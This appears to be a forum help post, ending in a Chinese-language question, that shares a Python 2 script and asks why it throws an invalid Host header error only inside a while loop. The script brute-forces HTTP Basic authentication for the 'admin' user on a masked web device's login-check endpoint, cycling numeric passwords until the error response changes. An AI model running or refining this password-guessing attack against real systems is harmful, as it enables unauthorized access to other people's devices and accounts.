ValueError: Invalid header name ' Host'

[heascle]

import hackhttp
from base64 import b64encode
init = 100000
while True:
    pwd = ''
    pwd = b64encode('%d'%init)
    hh = hackhttp.hackhttp()
    raw = '''
    GET /****/userCheck HTTP/1.1
    Host:*******
    User-Agent: *****
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    If-Modified-Since: 0
    Authorization: Basic YWRtaW46%s
    X-Requested-With: XMLHttpRequest
    Referer: http://*****/login.asp
    Cookie: language=zh
    Connection: close
    '''%(pwd)
    code, head, html, redirect, log = hh.http('http://******/userCheck', raw=raw)

    print code
    #print `html`

    import re
    pattern = re.compile(r'.*?ing>(.*?)</.*?')
    result = re.findall(pattern,html)[0]
    if result != 'errorpassword':
        print '[+]Get Password.'
        exit(0)
    else:
        print init
    init+=1

一些地方打码了。。

代码放在 while 循环里面就报错，把while循环去掉就不会，不知道为什么？